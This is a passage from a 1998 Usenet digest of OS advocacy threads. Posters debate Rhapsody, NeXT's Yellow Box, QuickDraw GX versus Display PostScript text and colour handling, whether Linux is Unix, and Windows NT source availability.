>released, never be marketted, or be dropped too soon after release.
Many users will want MacOS rather than Rhapsody. Unix might sound scary to
them. They will port YellowBox and other Rhapsody techs over to MacOS to
improve the old OS.
>> Go and find that article. If I clearly made it sound like distributed objects
>> are exclusive to Obj-C, I'll post an apology.
>Finding that article is too hard. You saying now that distributed objects,
>as an abstraction, aren't Objective-C exclusive, it's enough for me.
I never said otherwise. I have never claimed that DO are Obj-C only.
Go to http://www.dejanews.com/ and look up every time I've used that phrase.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 6 Apr 1998 04:11:32 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6iglfk.qlh.sal@panix3.panix.com>
References: <199801202218001457904@ppp8.hol.fr> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fvaev$6th$2@quasar.dimensional.com> <6g0ffj$k6c$3@anvil.BLaCKSMITH.com> <6g6fkq$atu$4@quasar.dimensional.com> <slrn6ifbqr.dbp.sal@panix3.panix.com> <6g8fus$la7$2@quasar.dimensional.com>
On 5 Apr 1998 17:45:00 GMT, Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> wrote:
>> The misckit is a collection of user supported code that can be freely used
>> by developers working on NS/OS. There is a FAQ on the site with more info.
>> NeXT has given code to them in the past. (3dkit and indexingkit)
>
>I took a look at the page. It looks interesting, and from the sound of it,
>much of it good be used on GNUStep, perhaps?
Perhaps, once GNUStep matures to that point.
>Odd how in the FAQ, there wasn't anything about GNUStep...
You could ask Don Yacktman about it. He reads c.s.next.* and posts
often enough.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
Sender: khuber@bambi.visi.com
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: When will Unix be free?
References: <xohen0roj2o.fsf_-_@dux.raex.com> <6fr8s6$59j$1@interport.net> <ehg4da6wa.fsf_-_@gate.lustig.com> <6B6FFF7C80027804.D8A9C54CA33BADC9.4EB0E9D843E54B64@library-proxy.airnews.net> <6fut5f$115$1@jetsam.uits.indiana.edu> <6g9955$8gr$7@hirame.wwa.com>
From: Kevin Huber <khuber@yuck.net>
Message-ID: <uj2iuonfvt0.fsf@bambi.visi.com>
Date: Mon, 06 Apr 1998 03:55:40 GMT
NNTP-Posting-Date: Sun, 05 Apr 1998 22:55:40 CST
Bloody> It's a case of calling a spade a spade. It looks like UNIX,
Bloody> acts like UNIX, feels like UNIX. It is UNIX! Linux is just a
Bloody> freeware flavour of _UNIX_.
Everyone knows that UNIX and Unix are just old outdated versions of
Linux. If people are still using them, it is only a hobby thing and
not to do actual work, like a hobbyist running an Amiga.
It's similar to DOS->Windows 95 (or do I have that backwards?).
-Kevin
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 5 Apr 1998 14:43:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14D4A03-8686B@206.165.43.14>
References: <6g6jrc$9j9$1@news.cs.tu-berlin.de>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Marcel Weiher <marcel@cs.tu-berlin.de> said:
>
> >Yeah... Presently, I wouldn't have choosen RTF, but that's ok...
>
> What alternative rich text format would you have chosen?
Something like a flattened version of NSText ala GX's flattened
layout-shape file format. RTF isn't designed to handle the Unified Hangul
Problem. Neither is NSText, if it is based on Unicode, but it is a start
(some Hangul characters are used different ways in Chinese, Japanese and
Korean, making the possible combinations of characters in these three
languages a total of 84,000, while Unicode's Hangul implementation can only
deal with 64K worth. The problem could be demontrated by writing a single
paragraph describing the issue, quoting the same Hangul character in the
three languages -the pathological case would be simply the three characters
in the three languages, all having to share the same Unicode encoding
-attempts to sort them properly would fail in any Unicode-only
text-solution. GX layout doesn't have this problem, BTW, since it allows
for more than one encoding strategy to exist in a single line of text).
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 5 Apr 1998 14:47:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14D4ADB-89B2E@206.165.43.14>
References: <6g6fkq$atu$4@quasar.dimensional.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> said:
> > You are free to contribute to the GNUstep project.
> > You are also free to contribute to the MiscKit.
>
> MiscKit? What that be?
A collaborative 3rd-party effort to provide miscelaneous stuff that NeXT
left out of all the other *Kits, or so I've gathered.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 5 Apr 1998 14:47:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14D4B11-8A7DC@206.165.43.14>
References: <6g81tq$fhe$4@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
mmalcolm crawford <malcolm@plsys.co.uk> said:
[Quoting Henry (?) Clark on how GX's silly direct-draw mode works]
> (Gee, I hope I'm not giving away any trade secrets.) OK, so they don't
look
> like that, exactly. But you get the idea."
>
> I can't tell if this is relevant, but it looks like there's a chance some
of
> what you regard as single pass may just be syntactic sugar.
>
It's possible, but I doubt it. Why? Because some of the options *require*
you to have the rest of the pixel's original value available, so if that is
the case, why not do it all-at-once, instead of try to somehow kludge it
together using multiple passes. If it is easier to program using a
single-pass, the kludge makes no sense, even as a quick and dirty option.
E.G.
The 3 5x4 matrices that GX inks use: source, destination & result, allow
one to do things like this:
colorspace: CYMK
sourcematrix:
0.5 0.5 0.0 0.0
0.0 0.0 0.5 0.0
0.0 0.0 0.0 0.5
0.5 0.0 0.0 0.0
0.0 0.0 0.0 0.0
That maps .5x the cyan into the magenta, .5x the magenta into the yellow,
.5x the yellow into the black, and (.5 times the black + .5 x the cyan)
into the cyan.
To do this using a single pass is trivial programatically: grab the pixel
(or do a table lookup to the relevant 64-bit values) and split it into 4
color-pieces. Apply the above matix to each piece as needed. Pass on to
next step in operation. Eventually apply the Porter Duff composite mode to
each color channel and then combine the pieces into a single pixel (or do
the relavant table lookup) and draw (leaving out all the various steps
which still require handling separate vaules for each color channel).
Implement the Porter-Duff stuff on a per-channel basis (you can optimize
for the most used cases later) split the pixel into parts at the start, and
implement the matix manipulation routines for the generic case, and have a
generic plotting routine for 1-bit, 2-bit, 4-bit, 8-bit, 16-bit and 32-bit
destination pixels, and you're done. Unoptimized, of course.
On the other hand, trying to figure out how to do even the simplest of
special cases using multiple passes would be a bitch.
How WOULD you implement the above matrix using the currently existing DPS
bitmap handlers, even assuming that the destination and device (drawing)
matrices were Identities (1.0 on the diagnol and 0.0 for the bottom row
which serves as a scalar offset for each channel -ie no change)?
I don't see how to do the above using multiple passes of a bitmap handler
of ANY description, at least as implemented in DPS. You'd have to go with a
pixel-by-pixel handler, which would be the same as what I proposed above,
only slower, since you're using DPS calls to handle each pixel, one-by-one,
whereas I'm either using C or assembler to handle the bit-handling
directly.
And my example is just the tip of the iceberg for what GX Ink objects can
do since every value in the three matrices can come into play if you like.
(not to mention flags, etc)
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: Arun Gupta <suvidya@worldnet.att.net>
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: Mon, 06 Apr 1998 00:37:35 -0400
Organization: AT&T WorldNet Services
Message-ID: <6g9m3n$neh@bgtnsc02.worldnet.att.net>
References: <6fbvpe$l63@newsb.netnews.att.com> <tim-2503982101370001@jump-k56flex-0183.jumpnet.com> <6fib8g$lun$1@vixen.cso.uiuc.edu> <handleym-3003981345140001@handma.apple.com> <6g9dgd$o66@mozo.cc.purdue.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
A message on a www.xlr8yourmac.com forum says :
I tested my 266 DT at the 292MHz/83MHz, 300/66, & 315/70 CPU/Bus speed settings
and found the results of both benchmarks &
graphic manipulation to be linear with the CPU speed. That tells me that bus
speed is not a limitation for the 266 (and likely 233) G3's.
My guess is that the size of the L2 cache is the first speed bottleneck as
benchmarks are said to be higher with 1MB at a given CPU
speed. I've no idea at what CPU speed/L2 size the 66MHz bus becomes limiting.
***
Here, 266 DT refers to the 266 MHz G3 desktop machine; benchmarks refers
to MacBench 4.0, I think. This says something (that I haven't figured out yet)
about bus speed and/or the nature of the Macbench tests.
-arun gupta
From: William Eckert <weckert@baldcom.net>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: NT causes $10M loss [Was Uptime Discussion]
Date: Sun, 05 Apr 1998 19:09:14 -0400
Organization: Lightlink Internet
Message-ID: <35280F19.D4AED979@baldcom.net>
References: <xohen0roj2o.fsf_-_@dux.raex.com> <uj23efzsd4e.fsf@bambi.visi.com> <6fpts2$cov@news.or.intel.com> <6fqgbj$hmv$3@news.idiom.com> <6fr4au$bb4@news.or.intel.com> <uj267ku5t6h.fsf@bambi.visi.com>
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Kevin Huber wrote:
> That's just a technicality based on code lineage. Linux is no more
> different from "Unixes" than Solaris, AIX, BSD, and HP/UX are from each
> other. Are you going to argue that FreeBSD is not Unix?
>
> -Kevin
>
> "Jason" == Jason V Robertson~ <jvrobert@sedona.intel.com> writes:
> Jason> I'm sorry, I must have been sleeping. Which version of Unix?
> Jason> I know you don't mean Linux because it isn't Unix.
So what you are saying is that Windows NT is NOT in anyway related to
Windows 3.x/95? Gee that makes Windows NT how old? Six years old? Linux
is only, lets see 98-91 is, seven years old. Microsoft started with DOS
5.0 to license programs from other and add it to their OS.
MS-DOS 5.0 - Defrag
MS-DOS 6.x - Double Disk
MS-Win95 - Defrag for Windows
MS-WinNT - Win16 support
MS-WinNT 5.0 - Remote Windows support
Unix=innovate
Windows NT=Copy/license
Eckert
From: William Eckert <weckert@baldcom.net>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: NT causes $10M loss [Was Uptime Discussion]
Date: Sun, 05 Apr 1998 19:20:04 -0400
Organization: Lightlink Internet
Message-ID: <352811A3.247055FE@baldcom.net>
References: <xohen0roj2o.fsf_-_@dux.raex.com> <6era7o$6bu$1@usenet76.supernew <35118531.876DC574@xyz.sabre.com> <6f1cpc$1ic@news.or.intel.com> <6f1k9f$3cm$1@shell4.ba.best.com> <6f3e52$fs3$1@usenet76.supernews.com> <35158768.B8251900@c-me.com> <351c0922.66742953@news.sunflower.com> <351C3AF4.E574B522@primenet.com> <352006E0.242A66B7@sdt.com> <352101F2.4AF7@be1151.pd3.ford.com> <slrn6i2hgb.a5o.sal@panix3.panix.com>
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Salvatore Denaro wrote:
> On Tue, 31 Mar 1998 09:47:14 -0500, Aaron R Kulkis <akulkis@be1151.pd3.ford.com> wrote:
> >So, when's the source-code release date for LoseNT*?
>
> The 12 DVD source set will ship the day after Sun ships the source
> for Solaris and HP ships the source for HP/UX. :)
> >
> >*NT = Nice Try.
> >
> >--
> >Aaron R. Kulkis
>
> Petty name calling aside, MS makes a lot of source code availible. More so
> than some Unix vendors.
Yes that is true, but if I pay HP, Solaris and <insert more OS names here> they will allow
me to look at thier source code. But good ol pal of my MS would never...oh shit I did not
send in my Non-Disclosure statement with a $1000 check to MS for the MSDN CD, I guess I
can't complete my task today.
I will try to write in on an HP, Solaris or another Linux like OS because they COME with
programmer documentation.
>
>
> --
> sal@panix.com Salvatore Denaro
> "The reality of the software business today is that if you find
> something that can make you ridiculously rich, then that's something
> that Microsoft is going to take away from you." -- Max Metral
Eckert
From: nospam@wwa.com (Bloody Viking)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: When will Unix be free?
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Date: 6 Apr 1998 00:55:01 GMT
Organization: at the wheel of a ship driving by Jupiter with Xenu onboard
Message-ID: <6g9955$8gr$7@hirame.wwa.com>
References: <xohen0roj2o.fsf_-_@dux.raex.com> <6fr8s6$59j$1@interport.net> <ehg4da6wa.fsf_-_@gate.lustig.com> <6B6FFF7C80027804.D8A9C54CA33BADC9.4EB0E9D843E54B64@library-proxy.airnews.net> <6fut5f$115$1@jetsam.uits.indiana.edu>
Gregory Loren Hansen (glhansen@copper.ucs.indiana.edu) wrote:
: I know, someone is bound to pipe up and say Linux isn't a Unix because it
: doesn't have the right pedigree. But it looks like a Unix, walks like a
: Unix, quacks like a Unix, and it's widely supported for a Unix, and it's
: free.
It's a case of calling a spade a spade. It looks like UNIX, acts like
UNIX, feels like UNIX. It is UNIX! Linux is just a freeware flavour of
_UNIX_.
--
CAUTION: Email Spam Killer in use. Leave this line in your reply! 152680
"Sometimes the best psychiatrist is a flaky cardiologist"
2290126 bytes of spam mail deleted. http://www.wwa.com/~nospam/
Date: Sun, 05 Apr 1998 18:17:28 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Message-ID: <joe.ragosta-0504981817300001@elk47.dol.net>
References: <199801202218001457904@ppp8.hol.fr> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6g01p5$ed9$1@news.cs.tu-berlin.de> <6g6eob$atu$1@quasar.dimensi <6g6jrc$9j9$1@news.cs.tu-berlin.de> <joe.ragosta-0504980729350001@elk75.dol.net> <6g806f$fhe$3@ironhorse.plsys.co.uk>
In article <6g806f$fhe$3@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> In <joe.ragosta-0504980729350001@elk75.dol.net> Joe Ragosta wrote:
> > One question. It's easy to make a transparent GIF. Can TIFF handle the
> > same feature? I always thought that transparency was one of GIF's
> > novelties.
> >
> Actually it's "difficult" to make a transparent GIF. You have to choose an
> entry in the colour table that will represent transparency, and then wherever
> that colour occurs in the image it's *completely* transparent.
That could be true. But for my purposes, all I needed to do was make the
background transparent so the web page's background would show through the
icon. That was pretty easy.
>
> TIFF, in common with various other good image formats, supports the concept
> of an "alpha" channel, in addition to, say, RGB, CMY(K) or HSB [so on
> NEXTSTEP a colour may be defined by RGBA, CMYKA, or HSBA]. The alpha channel
> defines the degree of transparency in the same way as, say, the R channel in
> RGB defines the amount of red. Thus rather than just the all-or-nothing you
> get with GIF, you get levels of opacity, like stained glass.
>
> My Stepwise ( http://www.stepwise.com/ ) article on the NEXTSTEP colour wheel
> is under review at the moment, but it should be along soon, and it includes a
> small section on transparency.
Cool. Sounds like a big improvement.
Thanks.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: spagiola@usa.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: Sun, 05 Apr 1998 17:57:55 -0600
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6g929k$hfd$1@nnrp1.dejanews.com>
References: <slrn6hid19.2bd.sal@panix3.panix.com> <B14406C9-42E38@158.152.49.144> <slrn6i2i39.a5o.sal@panix3.panix.com> <6ft630$kkr$1@nnrp1.dejanews.com> <slrn6i6f4f.j6l.sal@panix3.panix.com> <joe.ragosta-0404980706540001@elk71.dol.net> <slrn6ifbd2.dbp.sal@panix3.panix.com> <trev-0504981440310001@nas-sa-p4.usc.net>
trev@sc.edu (Trevor Zion Bauknight) wrote:
> ... My fear is that a lot of people will
> see intel's release of the 400s as a meaningful response to Apple's
> advertising the superior speed of its chips. When will people start to
> see through the MHz bs as a barometer of performance? The Apple ads, if
> anything, combat this misapprehension; but will they be enough to overcome
> intel marketing hype?
Well, Apple's ads do appear to have been successful in wiping Intel's dancing
bunnies off the screen. Maybe I've just missed them, but I haven't seen a
single Intel bunny ad since Apple started running its "toasted bunny" ad.
Intel's current ads have antropomorphic motherboard components.
Stefano Pagiola
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 5 Apr 1998 16:06:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14D5D96-D01AE@206.165.43.14>
References: <maury-0404982011350001@ts65-02.tor.istar.ca>
To: "Daniel Lipton" <lipton@paceworks.com>, "Maury Markowitz"
<maury@istar.ca>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Maury Markowitz <maury@remove_this.istar.ca> said:
> In article <B14ACD15-16684A@206.165.43.27>, "Lawson English"
> <english@primenet.com> wrote:
>
> > Now where did I ever make that statement? If I did, I was talking
rather
> > strangely because...
>
> On at least three separate occasions. You used the "GX will continue
to
> keep text as editable characters even when used on a path, whereas DPS
> will lose this in the transformation into a glyph" as one of your "killer
> arguments". To date the only one I've seen stand is the printing of
> transparencies.
>
Um, this is odd, because this is exactly what GX glyphs do when converted
from GX layout shapes using the GXPrimitiveShape call. This is documented
in Dan's article.
> > I was referring to the library of routines that Dan Lipton had devised
>
> A library that appears (after reading the article) to be fairly easy to
> recreate under DPS. The only thing missing is that GX hands you the
> tangent of a curve at any point, whereas under DPS I'd have to write code
> to return that (hmmm, five to ten lines max - maybe not even that).
>
I think that there is more missing that that.
> The code then goes on to demonstrate how to find the kerning points
from
> the GX glyphs, then calculate a midpoint on the base of the bounding box
> to use as the point on the curve (otherwise you're text "curves" at one
> corner rather than the middle) then loops over the glyphs along the line
> to plot them. It then goes on to talk about mouse tracking and text
> selection duties. None of this is handled internally in GX.
>
Excuse? MouseTracking IS handled by GX. How else would it be able to
compensate for the 3x3 transform matrix associated with an arbitrary GX
viewport. You have to use the GX mouse-tracking API yourself, but I can't
believe that that is what you meant. GX also provides the selection API.
Dan describes how he uses it in the article. If you mean that the default
use of the GX selection API doesn't work without modification when dealing
with text-on-a-path, I agree, but Dan documents how to do it and shows the
source code for his "curved layout shape" in the article that you mention.
> Under DPS the _exact_ same library could be constructed with native DPS
> calls and a tangent call. The glyphs are converted in the same way,
> handed off and then plotted using pathforall. There is no operate
> difference of any sort that I can see.
>
Since that is how the GX=>PS translator works, I'm sure that you are
correct, but...
> > do just that when I was saying that it was easier to do with GX than
DPS.
>
> I don't think it's easier in any measurable way. In fact I think the
> end result, an app that uses such a lib, would be FAR FAR easier to
> construct under YB due to all the other application support issues.
>
Possibly once the algorithms have been devised...
> > In fact, just the other day, Dan was bemoaning the fact that none of
the
> GX
> > applications actually bother to use his code, which he has granted
Apple
> to
> > incorporate into GX in order to fix a known bug, BTW.
>
> So what you're saying is that good code often doesn't make it into
> products. This demonstrates that any lack of these abilities under apps
> you've seen todate in no way speaks of any lack of functionality in the
> DPS libraries.
>
> In fact I found one article (which could be a misunderstanding) where
it
> is claimed that PS does not support the ability to "walk" a line and plot
> as you go - pathforall does just this. If/when I get time post-1.0, I'm
> looking to do this sort of thing in my app.
>
> > What I have been claiming is that GX provides algorithms that make it
> > *easier* to do this text-on-a-path thing
>
> I can see no difference at all, and I'd like you to demonstrate one.
>
Dan's article claims that there are. I'm forwarding this to Dan, so he can
respond if he feels a need.
> > and these algorithms work with
> > multiple languages in multiple fonts with perfectly good,
> > professional-level default kerning, because GX fonts contain the
default
> > kerning stuff.
>
> Which is exactly what the PS ones do with NSString!
>
Not for fonts for which NSString doesn't contain the algorithms to handle
the kerning info. The default kerning info is built into the GX font.
Presumeably the new NSText will be able to use this GX font info also. With
GX, you don't need a new algorithm to handle
professionally-kerned/formatted text that you've never seen or heard of
before. You just need a font that has the kerning/formatting info already
embedded. Much more portable: just distribute the font and not a new
formatting library.
> > Also, the GX API provides a way to connect the glyph shape (the
> > text-on-path) with the original formatted text (layout shape)
>
> By supporting an internal object model, which is completely unnecessary
> under YB because the system IS an object model. In fact, thanks to the
> excellent and clear explanations in Develop, I now know _exactly_ how to
> duplicate this in my app, and will seriously consider it for the future.
> Thank Dan for me.
He's reading this.
>
> > it has been one of my worries about NSText that there appears to be no
> way
> > to connect the original formatting done by NSTExt to some arbitrary
> > text-on-path so that one CAN do what Dan does
>
> NSText is used with various line layout routines. Obviously it's not
> built to handle text-on-a-curve (or for that matter text-as-clipping
> etc.). This linkage would be based on a subclass which would discard the
> normal NSParagraphStyle into linkage and would instead keep a cached
> version of the string in a MiscUserPath (or NSBezierPath in the future)
> then allow the user to use the text editing routines with any changes to
> the text side (NSString) causing a re-cache and then pushing out a
> setNeedsDisplay up the view hierarchy. Two to three days of good coding.
>
Sounds good.
> Actually thinking of it I'd likely make this a subclass of MiscUserPath
> instead, because if you're doing this you likely want string-ops which
are
> offered outside, but want to deal with it as a path - ie...
>
> [self drawMyPath];
> [[NSColor blueColor] set];
> PSshow();
>
> or...
>
> [[self path] DPS_draw cached:NO];
> [[NSColor greenColor] set];
> PSfill();
>
> > As an example of how I am wrong, you're off-base here. I've always
> credited
> > the develop article
>
> I've seen references to text-on-a-path on multiple occasions, and yet
> can't remember a single reference to this as it's source.
>
Mea Culpa.
> > The reason for this is simple: when you convert a GX layout shape to a
GX
> > glyph shape, you lose all formatting info as the text is converted into
a
> > series of non-formatted glyphs. However, the original spacing and other
> > layout info of those glyphs is kept in the form of spacing between
glyphs
> > and other geometric placement info.
>
> Information which is tossed out in the code in question because the
> "binding" points are calculated from the bounding box.
>
??? Don explicitly says that he is using the GXPrimitiveShape to convert
the layout to a glphy shape. Not sure where this idea that he isn't using
the glyph shape comes from.
> > You can determine which glyph is hit in
> > a glyph shape, regardless of it's placement
>
> Which MiscHitPath does for you too.
Are you familiar with how GX text and graphics hittesting work? I'm not
familiar with MiscHitPath. Does it do all the things that GX hittesting
does?
>
> > which character/glyph would be hit in the originally formatted layout
> shape
> > and use GX's text-insertion/selection-point API to simulate typing
> directly
> > into the text-on-a-path glyph shape (this is all described in Dan's
> > _develop_ article in greater and more accurate detail).
>
> Same here. On entry into edit mode pass the edit events to the string
> and keep re-caching.
>
How does the selection look? Is it smooth like Dan's example, or blocky
like FreeHand 8's? [trivial, but I like Dan's implementation better]
> > While FreeHand 8.0 allows one to edit mirrored and rotated text, it
> > apparently doesn't allow the editing of skewed or pespective-ized text,
> on
> > or off a path.
>
> Which your argument above clearly demonstrates has nothing to do with
> the abilities of the available libraries!
>
Does any of the available libraries in Rhapsody handle skewed or 3D
perspective hittesting and text-rendering for use in a standard 2D DTP app
like FreeHand?
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
References: <199801202218001457904@ppp8.hol.fr> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com> <slrn6i8057.kjl.sal@panix3.panix.com> <6g6f8i$atu$2@quasar.dimensional.com> <slrn6ife6g.dbp.sal@panix3.panix.com> <6g923i$h2l$1@nnrp1.dejanews.com>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <352817f7.0@206.25.228.5>
Date: 5 Apr 98 23:47:03 GMT
spagiola@usa.net wrote:
> accomodate the legacy Mac users. And it is well-known that imposing
> constraints on something never makes something better.
:-)
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Message-ID: <maury-0504982028400001@ts62-16.tor.istar.ca>
References: <6g6jrc$9j9$1@news.cs.tu-berlin.de> <B14D4A03-8686B@206.165.43.14>
Organization: Atria Software
Date: Mon, 06 Apr 1998 00:26:57 GMT
NNTP-Posting-Date: Sun, 05 Apr 1998 20:26:57 EST
In article <B14D4A03-8686B@206.165.43.14>, "Lawson English"
<english@primenet.com> wrote:
> > What alternative rich text format would you have chosen?
>
> Something like a flattened version of NSText ala GX's flattened
> layout-shape file format.
That isn't a rich text file format.
> RTF isn't designed to handle the Unified Hangul
> Problem.
Next time you run into this, you call us, ok?
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Message-ID: <maury-0504982034030001@ts62-16.tor.istar.ca>
References: <6g38rv$du2$2@ns3.vrx.net> <B14B1ABB-2CE1@206.165.43.39> <6g81tq$fhe$4@ironhorse.plsys.co.uk>
Organization: Atria Software
Date: Mon, 06 Apr 1998 00:32:20 GMT
NNTP-Posting-Date: Sun, 05 Apr 1998 20:32:20 EST
In article <6g81tq$fhe$4@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> I can't tell if this is relevant, but it looks like there's a chance some of
> what you regard as single pass may just be syntactic sugar.
Then there's the issue of what the original complaint really was. As
the Mach 4.0 project noted the _real_ time killer issue when going to the
engines is the parameters, not the code calls. Thus a "state based"
engine can often outperform an OOPS one because of the need to pass in
entire objects. The article in question is not terribly clear on what the
actual complaint was.
Maury
From: trev@sc.edu (Trevor Zion Bauknight)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Sun, 05 Apr 1998 20:24:21 -0400
Organization: Metaphysical Bunko Squad
Message-ID: <trev-0504982024220001@nas-sa-p5.usc.net>
